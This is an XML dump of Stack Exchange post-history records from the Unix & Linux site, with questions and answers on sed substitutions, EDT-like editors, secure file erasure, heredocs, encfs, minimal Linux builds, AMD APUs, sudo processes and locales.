  <row Id="16964" PostHistoryTypeId="2" PostId="7314" RevisionGUID="035bdf3c-b587-478a-959c-55ae97573522" CreationDate="2009-06-16T19:57:22.973" UserDisplayName="user113578" Text="Answer gleaned from O'Reilly - Sed &amp; Awk 2nd Addition Around page 152&#xD;&#xA;&#xD;&#xA;Write a script in a file&#xD;&#xA;&#xD;&#xA;    /yyy\:$/{&#xD;&#xA;    N&#xD;&#xA;    s/yyy\:\n\&quot;\&quot;/yyy\:\&#xD;&#xA;    \&quot;new stuff\&quot;/&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Apply this to your data with the usual&#xD;&#xA;&#xD;&#xA;sed -f script sample.txt&#xD;&#xA;&#xD;&#xA;This script says look for yyy:. When found read another line into the pattern buffer (sounds like Star Trek Transporter). Now do a s/ command on the joined lines.&#xD;&#xA;So we are looking for yyy: newline &quot;&quot;. If found replace with yyy: \ notice backslash actual&#xD;&#xA;newline then &quot;new stuff&quot;&#xD;&#xA;&#xD;&#xA;Good luck&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16965" PostHistoryTypeId="2" PostId="7315" RevisionGUID="0d251c1d-73fc-46fe-8d3d-0c9655cbdf44" CreationDate="2009-06-16T20:02:08.563" UserDisplayName="noluckmurphy" Text="I might not understand your question.  If you want to replace ONLY the value after 'yyy' then use the previous answer.  If you want to replace ANY values after 'yyy', try this one-liner:  &#xD;&#xA;&#xD;&#xA;    sed --expression='/yyy/,$ s/&quot;&quot;/&quot;new stuff&quot;/g' sample.txt&#xD;&#xA;&#xD;&#xA;Haven't tested it :D..." />
  <row Id="16966" PostHistoryTypeId="2" PostId="7312" RevisionGUID="9ee7cd42-0879-481d-861a-1e88b46705c7" CreationDate="2009-06-16T19:18:48.663" UserId="3999" Text="This script uses sed to change all &quot;&quot; to &quot;new stuff&quot;. How would one change just the &quot;&quot; after the yyy: using sed or anything else?&#xD;&#xA;&#xD;&#xA;    cat &gt;sample.txt &lt;&lt;EOF&#xD;&#xA;    xxx:&#xD;&#xA;    &quot;&quot;&#xD;&#xA;    yyy:&#xD;&#xA;    &quot;&quot;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    sed --expression='s/&quot;&quot;/&quot;new stuff&quot;/' sample.txt &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16967" PostHistoryTypeId="1" PostId="7312" RevisionGUID="9ee7cd42-0879-481d-861a-1e88b46705c7" CreationDate="2009-06-16T19:18:48.663" UserId="3999" Text="Locate postion then make a change using sed." />
  <row Id="16968" PostHistoryTypeId="3" PostId="7312" RevisionGUID="9ee7cd42-0879-481d-861a-1e88b46705c7" CreationDate="2009-06-16T19:18:48.663" UserId="3999" Text="ésedà" />
  <row Id="16969" PostHistoryTypeId="17" PostId="7312" RevisionGUID="097a2e34-f960-4e44-99a0-9d3eebcf3248" CreationDate="2011-02-12T20:21:54.383" UserId="-1" Comment="from http://stackoverflow.com/questions/1003458/locate-postion-then-make-a-change-using-sed" Text="" />
  <row Id="16970" PostHistoryTypeId="17" PostId="7317" RevisionGUID="f92ea3ad-8af5-4f82-a443-1a573a544c16" CreationDate="2011-02-12T20:22:25.040" UserId="-1" Comment="from http://stackoverflow.com/questions/993747/linux-editor-with-vms-edt-like-direction-mode/993748#993748" Text="" />
  <row Id="16971" PostHistoryTypeId="17" PostId="7318" RevisionGUID="53332ec7-9a2f-4d79-a36e-69467d2c8206" CreationDate="2011-02-12T20:22:25.040" UserId="-1" Comment="from http://stackoverflow.com/questions/993747/linux-editor-with-vms-edt-like-direction-mode/1971437#1971437" Text="" />
  <row Id="16972" PostHistoryTypeId="2" PostId="7317" RevisionGUID="f60f0c7a-abcf-49c3-86e6-5ef96614f135" CreationDate="2009-06-14T20:57:35.390" UserId="165" Text="[Vim](http://vim.org) seems to provide all those features. There are plenty of good tutorials for it on the web, but the easiest way to familiarise yourself with the editor is to install it and then run the `vimtutor` program supplied.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;H&lt;/kbd&gt; - Left  &#xD;&#xA;&lt;kbd&gt;J&lt;/kbd&gt; - Down  &#xD;&#xA;&lt;kbd&gt;K&lt;/kbd&gt; - Up  &#xD;&#xA;&lt;kbd&gt;L&lt;/kbd&gt; - Right  &#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;4L&lt;/kbd&gt; - 4 characters right  &#xD;&#xA;&lt;kbd&gt;4W&lt;/kbd&gt; - 4 words right&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;0&lt;/kbd&gt; - Start of line  &#xD;&#xA;&lt;kbd&gt;$&lt;/kbd&gt; - End of line  &#xD;&#xA;&lt;kbd&gt;gg&lt;/kbd&gt;- Start of file  &#xD;&#xA;&lt;kbd&gt;GG&lt;/kbd&gt;- End of file  &#xD;&#xA;&lt;kbd&gt;100gg&lt;/kbd&gt; - Line 100  " />
  <row Id="16973" PostHistoryTypeId="2" PostId="7318" RevisionGUID="28c8b12c-e0d4-48ae-a6fc-6a3b424b02a2" CreationDate="2009-12-28T20:38:36.627" UserDisplayName="homerj" Text="You want emacs.&#xD;&#xA;&#xD;&#xA;Emacs has an EDT emulation mode (M-x edt-emulation-mode). This will set up emacs to use the edt keymappings. &#xD;&#xA;&#xD;&#xA;Before you can use it, run &quot;emacs -q -l edt-mapper&quot;. This will let you set up what keys on YOUR keyboard map to the various VT keys(gold, do, etc.).&#xD;&#xA;&#xD;&#xA;It works quite well, and you have the extra functionality of emacs, plus the edt keys you're used to.&#xD;&#xA;&#xD;&#xA;EDIT: I should look at dates, this was asked ages ago...but the information is still good." />
  <row Id="16974" PostHistoryTypeId="2" PostId="7316" RevisionGUID="fde18c23-9632-435f-a4ba-962ee925da3d" CreationDate="2009-06-14T20:56:23.397" UserId="3999" Text="VMS editor EDT allows one to use the keypad to control most of ones editing commands. One of the rather nice features is that the direction of operation can be set to &quot;up&quot; or &quot;down&quot;. This then effects commands like &quot;move to next character&quot; and &quot;move to start of line&quot;. Another feature is that there are &quot;character&quot;, &quot;word&quot; and &quot;line&quot; buffers that one can cut, copy and paste to/from.&#xD;&#xA;&#xD;&#xA;I am looking for a Linux editor that has these features?&#xD;&#xA;&#xD;&#xA;This is not a request for an EDT editor for Linux. I am &quot;willing&quot; to learn a new editor if&#xD;&#xA;it has these features.&#xD;&#xA;" />
  <row Id="16975" PostHistoryTypeId="1" PostId="7316" RevisionGUID="fde18c23-9632-435f-a4ba-962ee925da3d" CreationDate="2009-06-14T20:56:23.397" UserId="3999" Text="Linux editor with VMS EDT like direction mode." />
  <row Id="16976" PostHistoryTypeId="3" PostId="7316" RevisionGUID="fde18c23-9632-435f-a4ba-962ee925da3d" CreationDate="2009-06-14T20:56:23.397" UserId="3999" Text="élinuxàéeditorsà" />
  <row Id="16977" PostHistoryTypeId="17" PostId="7316" RevisionGUID="07a7823f-0979-4283-85bc-d0a83abd1a0d" CreationDate="2011-02-12T20:22:25.040" UserId="-1" Comment="from http://stackoverflow.com/questions/993747/linux-editor-with-vms-edt-like-direction-mode" Text="" />
  <row Id="16978" PostHistoryTypeId="25" PostId="7280" RevisionGUID="73462639-0a31-447f-b737-6b2255a3f198" CreationDate="2011-02-12T20:22:41.657" Comment="http://twitter.com/#!/StackUnix/status/36520588935692289" />
  <row Id="16979" PostHistoryTypeId="17" PostId="7320" RevisionGUID="e35f8683-54f0-4696-ba4a-836356e1ce11" CreationDate="2011-02-12T20:22:55.803" UserId="-1" Comment="from http://stackoverflow.com/questions/993066/what-is-linux-for-set-file-erase-on-delete/993091#993091" Text="" />
  <row Id="16980" PostHistoryTypeId="17" PostId="7321" RevisionGUID="d18fdf9e-947b-4302-9f94-1a7071debf57" CreationDate="2011-02-12T20:22:55.803" UserId="-1" Comment="from http://stackoverflow.com/questions/993066/what-is-linux-for-set-file-erase-on-delete/993111#993111" Text="" />
  <row Id="16981" PostHistoryTypeId="17" PostId="7322" RevisionGUID="54630c75-262e-44f2-87e0-be9d913cc14a" CreationDate="2011-02-12T20:22:55.803" UserId="-1" Comment="from http://stackoverflow.com/questions/993066/what-is-linux-for-set-file-erase-on-delete/993767#993767" Text="" />
  <row Id="16982" PostHistoryTypeId="2" PostId="7320" RevisionGUID="461aedf0-4b9a-4449-b4b6-dee92ea15297" CreationDate="2009-06-14T15:56:37.720" UserId="4002" Text="I am not sure if this is what you are looking for:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/urandom of=FILE&#xD;&#xA;&#xD;&#xA;It writes random bytes to `FILE`." />
  <row Id="16983" PostHistoryTypeId="2" PostId="7321" RevisionGUID="719cabc0-80b3-4e29-817e-1687b46fc8d7" CreationDate="2009-06-14T16:07:19.720" UserDisplayName="Employed Russian" Text="This is supported only by some Linux filesystems:&#xD;&#xA;&#xD;&#xA;    chattr +s sample.txt&#xD;&#xA;&#xD;&#xA;may (or may not) do what you want.&#xD;&#xA;&#xD;&#xA;From &quot;man chattr&quot;:&#xD;&#xA;&#xD;&#xA;    NAME&#xD;&#xA;           chattr - change file attributes on a Linux second extended file system&#xD;&#xA;    ...&#xD;&#xA;           When a file with the ‘s’ attribute set is deleted, its blocks are&#xD;&#xA;           zeroed and written back to the disk.  Note: please make sure to read&#xD;&#xA;           the bugs and limitations section at the end of this document.&#xD;&#xA;    ...&#xD;&#xA;    BUGS AND LIMITATIONS&#xD;&#xA;           The  ‘c’, ’s’, and ‘u’ attributes are not honored by the ext2&#xD;&#xA;           and ext3 filesystems as implemented in the current mainline Linux&#xD;&#xA;           kernels. These attributes may be implemented in future versions of&#xD;&#xA;           the ext2 and ext3 filesystems.&#xD;&#xA;&#xD;&#xA;I do not know which specific mainline kernel versions (if any) implement this." />
  <row Id="16984" PostHistoryTypeId="2" PostId="7322" RevisionGUID="20822fe8-93bf-481e-b88f-ce28ec9b8e54" CreationDate="2009-06-14T21:11:43.453" UserDisplayName="liori" Text="Note that with current technology you'll sometimes have no control over that. With SSD disks each write can be in done in different location, keeping old data... and this cannot be overriden by OS, filesystem or anything in software. More on http://www.anandtech.com/printarticle.aspx?i=3531." />
  <row Id="16985" PostHistoryTypeId="2" PostId="7319" RevisionGUID="4c208bfc-cb92-4e15-9f1c-487e3f542faa" CreationDate="2009-06-14T15:48:37.847" UserId="3999" Text="In VMS one may tell the file system to write junk over the existing contents of a file when it is deleted. Here is the DCL command to identify the file for this kind of treatment:&#xD;&#xA;&#xD;&#xA;     $ SET FILE/ERASE_ON_DELETE SAMPLE.TXT&#xD;&#xA;&#xD;&#xA;This allows the policy to be set at one point in time then later users of the file do not&#xD;&#xA;have to handle that detail of security. A standard delete which takes the file name out of the directory and frees the space for another file to use will also modify the existing contents to prevent the next user from reading it. The normal delete:&#xD;&#xA;&#xD;&#xA;    $ DELETE SAMPLE.TXT.*&#xD;&#xA;&#xD;&#xA;What is Linux for this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16986" PostHistoryTypeId="1" PostId="7319" RevisionGUID="4c208bfc-cb92-4e15-9f1c-487e3f542faa" CreationDate="2009-06-14T15:48:37.847" UserId="3999" Text="What is Linux for SET FILE/ERASE_ON_DELETE?" />
  <row Id="16987" PostHistoryTypeId="3" PostId="7319" RevisionGUID="4c208bfc-cb92-4e15-9f1c-487e3f542faa" CreationDate="2009-06-14T15:48:37.847" UserId="3999" Text="élinuxàécommandölineàéfilesystemsà" />
  <row Id="16988" PostHistoryTypeId="17" PostId="7319" RevisionGUID="bb4fd6ed-3712-40b4-9fff-0b52b13757ba" CreationDate="2011-02-12T20:22:55.803" UserId="-1" Comment="from http://stackoverflow.com/questions/993066/what-is-linux-for-set-file-erase-on-delete" Text="" />
  <row Id="16989" PostHistoryTypeId="17" PostId="7324" RevisionGUID="b458e686-a6cd-444b-b536-7a198f74ddc0" CreationDate="2011-02-12T20:23:35.540" UserId="-1" Comment="from http://stackoverflow.com/questions/992968/what-is-linux-for-deck-and-eod/992981#992981" Text="" />
  <row Id="16990" PostHistoryTypeId="17" PostId="7325" RevisionGUID="ce2f1942-e422-48c1-8c7f-2e38c39ce9aa" CreationDate="2011-02-12T20:23:35.540" UserId="-1" Comment="from http://stackoverflow.com/questions/992968/what-is-linux-for-deck-and-eod/992992#992992" Text="" />
  <row Id="16991" PostHistoryTypeId="2" PostId="7324" RevisionGUID="2453db44-1a0a-4baa-ae0b-1c3a5bed59d1" CreationDate="2009-06-14T15:03:55.380" UserDisplayName="Brian Agnew" Text="You can embed data within shell scripts. How this works is shell dependent. However bash/perl etc. do this in similar ways, using a *heredoc*. e.g. in bash (and similar):&#xD;&#xA;&#xD;&#xA;    $ cat &gt; sample.txt &lt;&lt; EOF&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;will write as input a,b,c up to the EOF, and then `cat` will write that out to sample.txt. Note that EOF is a convention and you can use any label. Try the above on the command line to see more clearly what's going on." />
  <row Id="16992" PostHistoryTypeId="2" PostId="7325" RevisionGUID="7ca222d8-c5fd-407d-9cbf-05f6f0727af4" CreationDate="2009-06-14T15:11:01.307" UserId="3035" Text="Loki also made a tool called [makeself][1]. This tool can embed compressed data in a shell file and is useful for self-extracting installation scripts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://megastep.org/makeself/" />
  <row Id="16993" PostHistoryTypeId="2" PostId="7323" RevisionGUID="b273e8d9-2086-49f1-9f85-0f4be14ed34d" CreationDate="2009-06-14T14:57:10.607" UserId="3999" Text="In VMS DCL one may embed data in a command file using $DECK and $EOD. What is Linux for this?" />
  <row Id="16994" PostHistoryTypeId="1" PostId="7323" RevisionGUID="b273e8d9-2086-49f1-9f85-0f4be14ed34d" CreationDate="2009-06-14T14:57:10.607" UserId="3999" Text="What is Linux for $DECK and $EOD?" />
  <row Id="16995" PostHistoryTypeId="3" PostId="7323" RevisionGUID="b273e8d9-2086-49f1-9f85-0f4be14ed34d" CreationDate="2009-06-14T14:57:10.607" UserId="3999" Text="élinuxàéscriptingà" />
  <row Id="16996" PostHistoryTypeId="17" PostId="7323" RevisionGUID="63468e84-b8f8-449a-a546-29a64c4bd503" CreationDate="2011-02-12T20:23:35.540" UserId="-1" Comment="from http://stackoverflow.com/questions/992968/what-is-linux-for-deck-and-eod" Text="" />
  <row Id="16997" PostHistoryTypeId="2" PostId="7326" RevisionGUID="68494a6e-ec62-4e38-a210-4901ea108b9f" CreationDate="2011-02-12T20:30:52.617" UserId="3629" Text="I think you have (or your distribution has) a `LESSOPEN` filter set up for `less`.  Try the following to tell `less` to not use the filter:&#xD;&#xA;&#xD;&#xA;    less -L my_binary_file&#xD;&#xA;&#xD;&#xA;For further exploration, also try `echo $LESSOPEN`.  It probably contains the name of a shell script (`/usr/bin/lesspipe` for me), which you can read through to see what sort of filters there are.  Also try [`man less`][1], and read the **Input Preprocessor** section.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/less" />
  <row Id="16998" PostHistoryTypeId="6" PostId="7323" RevisionGUID="4f1db33e-acf6-4105-9105-3f847ab8d012" CreationDate="2011-02-12T21:03:56.400" UserId="885" Comment="edited tags" Text="éshellàéscriptingà" />
  <row Id="16999" PostHistoryTypeId="2" PostId="7327" RevisionGUID="700c29c4-0e64-4c68-a2bd-fe6983e5ede5" CreationDate="2011-02-12T21:17:57.803" UserId="885" Text="The closest equivalent you'll typically find on unix systems is encryption. An easy way to set up an encrypted directory on Linux (and most other unices) is [Encfs](http://www.arg0.net/encfs). Quickstart:&#xD;&#xA;&#xD;&#xA;    mkdir .ciphertext encrypted&#xD;&#xA;    encfs .ciphertext encrypted&#xD;&#xA;    # work on encrypted/file&#xD;&#xA;    fusermount -u encrypted&#xD;&#xA;&#xD;&#xA;There are several other options for filesystem encryption. See [How to best encrypt and decrypt a directory via the command line or script?](http://unix.stackexchange.com/questions/867/how-to-best-encrypt-and-decrypt-a-directory-via-the-command-line-or-script), [Best way to do full disk encryption?](http://unix.stackexchange.com/questions/834/best-way-to-do-full-disk-encryption), and several other threads on [Super User](http://superuser.com/), [Server Fault](http://serverfault.com/) and [Ask Ubuntu](http://askubuntu.com/).&#xD;&#xA;&#xD;&#xA;I don't know what threats `FILE/ERASE_ON_DELETE` protects against. Note that on unix, the former contents of a rewritten or deleted file can only ever be seen by the system administrator or someone with physical access to the drive: there's no “fast file creation mode” that would populate a file with random data that just happened to be in the disk region used by the file.&#xD;&#xA;" />
  <row Id="17000" PostHistoryTypeId="6" PostId="7319" RevisionGUID="103f24be-0df9-4a53-a6e7-e530b6bb908f" CreationDate="2011-02-12T21:18:43.997" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàésecurityàérmà" />
  <row Id="17001" PostHistoryTypeId="6" PostId="7316" RevisionGUID="8bd054a6-2b04-4d7a-91b5-078c2fe2b5b3" CreationDate="2011-02-12T21:23:14.243" UserId="885" Comment="edited tags" Text="ésoftwareörecàéeditorsà" />
  <row Id="17002" PostHistoryTypeId="2" PostId="7328" RevisionGUID="afd0693d-4107-47d3-9229-24933ec62283" CreationDate="2011-02-12T21:26:10.683" UserId="885" Text="Emacs's [Picture mode](http://www.gnu.org/software/emacs/manual/html_node/emacs/Picture-Mode.html) is designed to facilitate drawing ASCII diagrams and tables. You can change the direction in which the cursor moves after inserting a character with `C-c left`, `C-c down`, etc.&#xD;&#xA;" />
  <row Id="17003" PostHistoryTypeId="6" PostId="7309" RevisionGUID="3fcce682-9002-454f-bf96-58b802f77b29" CreationDate="2011-02-12T21:27:14.723" UserId="885" Comment="edited tags" Text="éenvironmentövariablesàélocaleà" />
  <row Id="17004" PostHistoryTypeId="6" PostId="3218" RevisionGUID="75b02cc7-232a-42ca-bcc0-a66b5e72e660" CreationDate="2011-02-12T21:27:59.463" UserId="885" Comment="edited tags" Text="ésshàécharacteröencodingàélocaleà" />
  <row Id="17005" PostHistoryTypeId="6" PostId="5987" RevisionGUID="f4ef7a7f-5bdd-49d5-85e1-72adcc9e3813" CreationDate="2011-02-12T21:28:37.357" UserId="885" Comment="edited tags" Text="éaptàélocaleà" />
  <row Id="17006" PostHistoryTypeId="6" PostId="2089" RevisionGUID="dbc423fb-7fd4-45c6-9a78-2cd7909afc41" CreationDate="2011-02-12T21:29:05.937" UserId="885" Comment="edited tags" Text="éfilenamesàécharacteröencodingàélocaleà" />
  <row Id="17007" PostHistoryTypeId="6" PostId="7307" RevisionGUID="01e53cec-f910-43a2-b2d7-1094f44827a6" CreationDate="2011-02-12T21:30:24.783" UserId="885" Comment="edited tags" Text="éshellàéscriptingàéerroröhandlingà" />
  <row Id="17008" PostHistoryTypeId="6" PostId="7305" RevisionGUID="cd0ed896-4c15-41a1-bbe4-c37e93da2542" CreationDate="2011-02-12T21:31:16.547" UserId="885" Comment="edited tags" Text="éi18nàégettextà" />
  <row Id="17009" PostHistoryTypeId="6" PostId="7319" RevisionGUID="c90f73a1-e02c-4f2d-ba75-21af490320c6" CreationDate="2011-02-12T21:32:42.190" UserId="3999" Comment="Add vms tag." Text="élinuxàéfilesystemsàésecurityàérmàéopenvmsà" />
  <row Id="17010" PostHistoryTypeId="6" PostId="7299" RevisionGUID="14e21e62-823d-4b9e-9d1d-8719af91ea4b" CreationDate="2011-02-12T21:33:50.883" UserId="885" Comment="edited tags" Text="éfilesystemsàéafsàédistributedöfilesystemà" />
  <row Id="17011" PostHistoryTypeId="6" PostId="7295" RevisionGUID="be9e40f4-ae6d-482c-9e65-c8e6f4f04db7" CreationDate="2011-02-12T21:36:47.480" UserId="885" Comment="edited tags" Text="écommandölineàéopenofficeàémacroà" />
  <row Id="17012" PostHistoryTypeId="6" PostId="7294" RevisionGUID="4d337c87-f288-4dde-82b5-900f14870e8e" CreationDate="2011-02-12T21:37:30.503" UserId="885" Comment="edited tags" Text="épasswordàésambaàénautilusà" />
  <row Id="17013" PostHistoryTypeId="6" PostId="7289" RevisionGUID="cb80f621-e1c0-42ef-9b3d-0aa13c0a2439" CreationDate="2011-02-12T21:44:03.553" UserId="885" Comment="edited tags" Text="éshellöscriptàédateà" />
  <row Id="17014" PostHistoryTypeId="6" PostId="7283" RevisionGUID="1ed51b78-5d9f-4c8b-a73c-abeff658d6cc" CreationDate="2011-02-12T21:46:05.627" UserId="885" Comment="edited tags" Text="éusersàéloginàépasswordàéauthenticationà" />
  <row Id="17015" PostHistoryTypeId="6" PostId="3225" RevisionGUID="332586a0-2933-4f75-97b9-a11845018373" CreationDate="2011-02-12T21:49:49.677" UserId="885" Comment="edited tags" Text="élinuxàéaudioàédriversà" />
  <row Id="17016" PostHistoryTypeId="17" PostId="7330" RevisionGUID="5577bd6a-b8ea-413e-8509-832a070f9282" CreationDate="2011-02-12T21:56:17.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4978964/lightweight-custom-linux-build/4979011#4979011" Text="" />
  <row Id="17017" PostHistoryTypeId="17" PostId="7331" RevisionGUID="85680f48-3478-4a02-9cfe-eb2c70dc16aa" CreationDate="2011-02-12T21:56:17.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4978964/lightweight-custom-linux-build/4980823#4980823" Text="" />
  <row Id="17018" PostHistoryTypeId="2" PostId="7330" RevisionGUID="f5bfd1a9-755e-4e7e-8393-2f90ef546e66" CreationDate="2011-02-12T16:02:42.837" UserDisplayName="Vivek Goel" Text="you can custom build using site .&#xD;&#xA;http://www.instalinux.com&#xD;&#xA;after customizing  you can download .iso file. " />
  <row Id="17019" PostHistoryTypeId="2" PostId="7331" RevisionGUID="d8bdcbed-b023-4c88-a6d7-077d5f9f4a20" CreationDate="2011-02-12T21:45:42.077" UserId="2011" Text="It is generally possible to roll a system with Busybox; busybox's web site details how to do this.&#xD;&#xA;&#xD;&#xA;A statically linked busybox binary will require just a couple of megs of memory (over what the kernel requires, of course). I've been able to boot and log into a machine with 8M of ram.&#xD;&#xA;&#xD;&#xA;However, it is relatively complicated to get all the system services you may require working, using a small existing distribution might be better.&#xD;&#xA;&#xD;&#xA;How much is &quot;little memory&quot;? Are you on a really tiny embedded system? Unless you have less than 64M, or your process needs to use a lot of the available ram (and no swap), I'd recommend going with a minimal standard distro." />
  <row Id="17020" PostHistoryTypeId="2" PostId="7329" RevisionGUID="df8b8e73-7838-4b20-a9bb-cb9f3fb752b2" CreationDate="2011-02-12T15:53:41.370" UserDisplayName="ryan" Text="Hey, I am looking for a linux build which takes up very little memory to bootup. I don't need any of the UI modules. &#xD;&#xA;&#xD;&#xA;I need help on choosing from the ones currently available or pointers on building my own. I looked at some linux distros like archlinux and damn small, but I haven't decided yet. and also it would be great if someone could help me on how to run a custom program immediately on bootup.&#xD;&#xA;&#xD;&#xA;Thanks for the help, in advance." />
  <row Id="17021" PostHistoryTypeId="1" PostId="7329" RevisionGUID="df8b8e73-7838-4b20-a9bb-cb9f3fb752b2" CreationDate="2011-02-12T15:53:41.370" UserDisplayName="ryan" Text="Lightweight custom linux build" />
  <row Id="17022" PostHistoryTypeId="3" PostId="7329" RevisionGUID="df8b8e73-7838-4b20-a9bb-cb9f3fb752b2" CreationDate="2011-02-12T15:53:41.370" UserDisplayName="ryan" Text="élinuxàélightweightà" />
  <row Id="17023" PostHistoryTypeId="17" PostId="7329" RevisionGUID="a56fafe0-4a75-4307-8637-15e14f303504" CreationDate="2011-02-12T21:56:17.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4978964/lightweight-custom-linux-build" Text="" />
  <row Id="17024" PostHistoryTypeId="6" PostId="7329" RevisionGUID="68f09ffa-2c19-4147-922e-2381523e21cf" CreationDate="2011-02-12T22:13:11.923" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceà" />
  <row Id="17025" PostHistoryTypeId="25" PostId="7298" RevisionGUID="232c1eb2-174e-431d-9cef-a48a07ee2c1a" CreationDate="2011-02-12T23:22:41.963" Comment="http://twitter.com/#!/StackUnix/status/36565887834128386" />
  <row Id="17026" PostHistoryTypeId="2" PostId="7332" RevisionGUID="66efcc43-c7ea-4428-87d2-e267534f34e0" CreationDate="2011-02-13T00:17:28.533" UserId="1375" Text="I am a newcomer to this, so please excuse my ignorance. But that's what questions are for right? :p&#xD;&#xA;&#xD;&#xA;As I understand it, the Linux kernel has had good support for Intel and AMD CPUs (pretty obvious since your OS installs and runs fine!).&#xD;&#xA;&#xD;&#xA;But now that AMD is releasing their new Fusion APUs, is it just a gimmick marketing scheme and can be treated as a CPU by the Linux kernel, or is this APU something new and new kernel support needs to be added? Since the Fusion APUs are slated to include the functions of the GPU, will Linux be able to take advantage of all its functions?&#xD;&#xA;&#xD;&#xA;This might have implications on whether my next Linux machine can and/or should be based on AMD Fusion hardware or not. Thanks for your answers." />
  <row Id="17027" PostHistoryTypeId="1" PostId="7332" RevisionGUID="66efcc43-c7ea-4428-87d2-e267534f34e0" CreationDate="2011-02-13T00:17:28.533" UserId="1375" Text="Implications of Linux support for AMD Fusion APUs?" />
  <row Id="17028" PostHistoryTypeId="3" PostId="7332" RevisionGUID="66efcc43-c7ea-4428-87d2-e267534f34e0" CreationDate="2011-02-13T00:17:28.533" UserId="1375" Text="ékernelàédriversàéamdàéfusionàéapuà" />
  <row Id="17029" PostHistoryTypeId="2" PostId="7333" RevisionGUID="c63542fa-c129-4f3b-a728-cfcd147fbc9c" CreationDate="2011-02-13T00:33:09.900" UserId="732" Text="You could go with [Arch linux][1], but that doesn't strictly  meet your &quot;custom&quot; distro, I think.&#xD;&#xA;&#xD;&#xA;I'd go with Linux From Scratch.  That's not really a distro, but rather a system for building your own distro.  I think you'll find you have some &quot;fat&quot; in your system when you're done, as it has you building and installing Tcl/Tk (or at least it used to) and a few other things that aren't strictly necessary, but let you run test cases semi-automatically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/" />
  <row Id="17030" PostHistoryTypeId="2" PostId="7334" RevisionGUID="27c3d994-13c6-4d26-8a32-c0d608a03366" CreationDate="2011-02-13T02:21:33.577" UserId="2785" Text="If I run `top -u username` I will see all the processes by a particular user.  Is there a way to also see all the processes that the user called via sudo?" />
  <row Id="17031" PostHistoryTypeId="1" PostId="7334" RevisionGUID="27c3d994-13c6-4d26-8a32-c0d608a03366" CreationDate="2011-02-13T02:21:33.577" UserId="2785" Text="Using top to see processes run by a user on behalf of sudo" />
  <row Id="17032" PostHistoryTypeId="3" PostId="7334" RevisionGUID="27c3d994-13c6-4d26-8a32-c0d608a03366" CreationDate="2011-02-13T02:21:33.577" UserId="2785" Text="éprocessàétopà" />
  <row Id="17033" PostHistoryTypeId="25" PostId="7332" RevisionGUID="a0271950-074a-4ecc-96c5-2ac477c97fed" CreationDate="2011-02-13T02:22:42.340" Comment="http://twitter.com/#!/StackUnix/status/36611186762067968" />
  <row Id="17034" PostHistoryTypeId="2" PostId="7335" RevisionGUID="ee47d415-9117-43c3-9148-bad34d0dfccf" CreationDate="2011-02-13T03:24:50.327" UserId="250" Text="As I see it the APU is a combination of the CPU and GPU integrated into one thing, so support should be fairly easy. I don't know about specific details, but AMD said that APU is [fully supported][1] in Linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cio.com.au/article/375156/amd_apu_loves_linux_android_maybe/" />
  <row Id="17035" PostHistoryTypeId="2" PostId="7336" RevisionGUID="84892a19-57d4-464d-9ae5-6c97cbc05905" CreationDate="2011-02-13T03:53:22.710" UserId="3169" Text="It doesn't seem to be possible in an easy way.&#xD;&#xA;&#xD;&#xA;From `top`'s perspective, any command a user runs using `sudo` would appear to be running as `root` because it really is running as root.&#xD;&#xA;&#xD;&#xA;One way you could try, is to track it down to the terminal where the user is logged in, then see processes running as root on that terminal.&#xD;&#xA;&#xD;&#xA;For example, run `w` to see the `TTY` field, then run `top -u root`, then press `g` to make `top` sort by `TTY`.&#xD;&#xA;&#xD;&#xA;If you don't need `top`, it should be possible using `ps`.&#xD;&#xA;&#xD;&#xA;Also don't forget that a user running a command is probably being logged, e.g. to `/var/log/secure` or `/var/log/auth.log`, or `/var/log/sudo.log`, or whatever your system uses." />
  <row Id="17036" PostHistoryTypeId="25" PostId="7334" RevisionGUID="187158d9-6f60-4f69-aa3b-49a648fa9bb5" CreationDate="2011-02-13T05:22:42.600" Comment="http://twitter.com/#!/StackUnix/status/36656488411824128" />
  <row Id="17037" PostHistoryTypeId="17" PostId="7338" RevisionGUID="95860ea6-3e1f-42ca-a480-646b52b4c2cc" CreationDate="2011-02-13T06:04:50.907" UserId="-1" Comment="from http://serverfault.com/questions/35672/why-does-locale-es-mx-work-but-not-es/35676#35676" Text="" />
  <row Id="17038" PostHistoryTypeId="17" PostId="7339" RevisionGUID="af40f667-5fe7-4cac-9fe8-727c3467f715" CreationDate="2011-02-13T06:04:50.907" UserId="-1" Comment="from http://serverfault.com/questions/35672/why-does-locale-es-mx-work-but-not-es/35677#35677" Text="" />
  <row Id="17039" PostHistoryTypeId="17" PostId="7340" RevisionGUID="2ff3a325-61a7-46b6-bc0f-b7e6cdd87818" CreationDate="2011-02-13T06:04:50.907" UserId="-1" Comment="from http://serverfault.com/questions/35672/why-does-locale-es-mx-work-but-not-es/39120#39120" Text="" />
  <row Id="17040" PostHistoryTypeId="17" PostId="7341" RevisionGUID="8f8b0e57-2eac-4ef6-a9a0-faff0053b81e" CreationDate="2011-02-13T06:04:50.907" UserId="-1" Comment="from http://serverfault.com/questions/35672/why-does-locale-es-mx-work-but-not-es/39179#39179" Text="" />
  <row Id="17041" PostHistoryTypeId="2" PostId="7338" RevisionGUID="24ae7444-d750-484a-86bd-1ae2776af3a6" CreationDate="2009-07-03T19:02:26.183" Text="I'm not really sure about this, but I've been working with Joomla and others CMS and the code for Spanish - Spain is: es_ES" />
